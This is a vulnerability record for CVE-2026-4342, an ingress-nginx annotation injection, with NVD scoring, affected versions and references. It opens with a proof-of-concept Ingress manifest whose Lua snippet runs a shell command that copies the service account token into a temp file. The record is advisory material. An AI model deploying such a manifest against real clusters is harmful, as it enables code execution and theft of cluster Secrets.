CVE-2026-4342

# Malicious Ingress manifest to demonstrate configuration injection apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: malicious-ingress namespace: default annotations: # Example annotation injecting a Lua script to execute commands nginx.ingress.kubernetes.io/configuration-snippet: | rewrite_by_lua_block { local os = require "os" os.execute("cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/stolen_token") } spec: rules: - host: malicious.example.com http: paths: - path: / pathType: Prefix backend: service: name: legitimate-service port: number: 80

{"cve": {"id": "CVE-2026-4342", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:43.143", "lastModified": "2026-05-19T22:16:49.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security issue was discovered in ingress-nginx where a combination of Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)"}, {"lang": "es", "value": "Se descubrió un problema de seguridad en ingress-nginx donde una combinación de anotaciones de Ingress puede utilizarse para inyectar configuración en nginx. Esto puede conducir a la ejecución de código arbitrario en el contexto del controlador ingress-nginx, y a la divulgación de Secrets accesibles para el controlador. (Tenga en cuenta que en la instalación predeterminada, el controlador puede acceder a todos los Secrets a nivel de clúster.)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubernetes:nginx_ingress_controller:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.13.9", "matchCriteriaId": "82AD4893-EAC1-4B3E-A842-4C1439D0FC38"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubernetes:nginx_ingress_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.14.0", "versionEndExcluding": "1.14.5", "matchCriteriaId": "9499B75E-F160-425A-B641-61BF3B71FC57"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubernetes:nginx_ingress_controller:1.15.0:*:*:*:*:*:*:*", "matchCriteriaId": "7BF84B6C-C427-45A4-AE30-ED4F47F05680"}]}]}], "references": [{"url": "https://github.com/kubernetes/kubernetes/issues/137893", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/19/9", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}